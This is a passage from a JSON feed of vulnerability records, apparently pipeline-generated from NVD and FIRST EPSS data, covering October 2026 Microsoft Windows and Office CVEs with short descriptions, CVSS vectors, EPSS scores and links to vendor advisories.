references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85376","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85376&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85376, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85375","cveId":"CVE-2026-85375","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:01.563Z","updatedAt":"2026-10-16T18:46:23.700Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85375","asOf":"2026-10-16T18:46:23.700Z"},"epss":{"probability":0.00312,"percentile":0.23821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85375&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85375","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85375","type":"primary","publishedAt":"2026-10-13T19:21:01.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85375","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85375&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85375, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85373","cveId":"CVE-2026-85373","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:01.203Z","updatedAt":"2026-10-16T18:48:19.857Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85373","asOf":"2026-10-16T18:48:19.857Z"},"epss":{"probability":0.00312,"percentile":0.23819,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85373&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85373","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85373","type":"primary","publishedAt":"2026-10-13T19:21:01.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85373","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85373&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85373, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85372","cveId":"CVE-2026-85372","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:01.027Z","updatedAt":"2026-10-16T18:49:23.287Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85372","asOf":"2026-10-16T18:49:23.287Z"},"epss":{"probability":0.00247,"percentile":0.15801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85372&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85372","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85372","type":"primary","publishedAt":"2026-10-13T19:21:01.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85372","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85372&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85372, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85371","cveId":"CVE-2026-85371","aliases":[],"kind":"vulnerability","title":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:00.843Z","updatedAt":"2026-10-16T19:08:15.153Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85371","asOf":"2026-10-16T19:08:15.153Z"},"epss":{"probability":0.00673,"percentile":0.51835,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85371&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85371","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85371","type":"primary","publishedAt":"2026-10-13T19:21:00.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85371","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85371&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85371, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85365","cveId":"CVE-2026-85365","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:59.810Z","updatedAt":"2026-10-16T19:07:25.377Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85365","asOf":"2026-10-16T19:07:25.377Z"},"epss":{"probability":0.002,"percentile":0.09691,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85365&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85365","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85365","type":"primary","publishedAt":"2026-10-13T19:20:59.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85365","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85365&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85365, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85340","cveId":"CVE-2026-85340","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:56.927Z","updatedAt":"2026-10-15T17:31:29.947Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85340","asOf":"2026-10-15T17:31:29.947Z"},"epss":{"probability":0.00364,"percentile":0.29989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85340&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85340","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85340","type":"primary","publishedAt":"2026-10-13T19:20:56.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85340","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85340&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85340, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85338","cveId":"CVE-2026-85338","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:56.590Z","updatedAt":"2026-10-17T04:17:04.500Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85338","asOf":"2026-10-17T04:17:04.500Z"},"epss":{"probability":0.00322,"percentile":0.24935,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85338&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85338","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85338","type":"primary","publishedAt":"2026-10-13T19:20:56.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85338","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85338&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85338, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85334","cveId":"CVE-2026-85334","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Message Queuing Queue Manager allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Windows Message Queuing Queue Manager allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Windows Message Queuing Queue Manager allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:56.053Z","updatedAt":"2026-10-16T18:15:47.570Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85334","asOf":"2026-10-16T18:15:47.570Z"},"epss":{"probability":0.00983,"percentile":0.62054,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85334&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85334","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85334","type":"primary","publishedAt":"2026-10-13T19:20:56.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85334","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85334&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85334, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85333","cveId":"CVE-2026-85333","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Performance Monitor allows an authorized attacker to elevate privileges...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:55.873Z","updatedAt":"2026-10-16T18:15:13.110Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85333","asOf":"2026-10-16T18:15:13.110Z"},"epss":{"probability":0.00203,"percentile":0.1017,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85333&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85333","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85333","type":"primary","publishedAt":"2026-10-13T19:20:55.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85333","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85333&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85333, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85332","cveId":"CVE-2026-85332","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:55.717Z","updatedAt":"2026-10-16T18:07:01.983Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85332","asOf":"2026-10-16T18:07:01.983Z"},"epss":{"probability":0.00311,"percentile":0.23698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85332&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85332","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85332","type":"primary","publishedAt":"2026-10-13T19:20:55.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85332","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85332&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85332, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85329","cveId":"CVE-2026-85329","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Account allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Account allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Account allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:55.353Z","updatedAt":"2026-10-16T18:05:28.897Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85329","asOf":"2026-10-16T18:05:28.897Z"},"epss":{"probability":0.00195,"percentile":0.09129,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85329&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85329","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85329","type":"primary","publishedAt":"2026-10-13T19:20:55.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85329","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85329&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85329, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85328","cveId":"CVE-2026-85328","aliases":[],"kind":"vulnerability","title":"Weak authentication in Windows 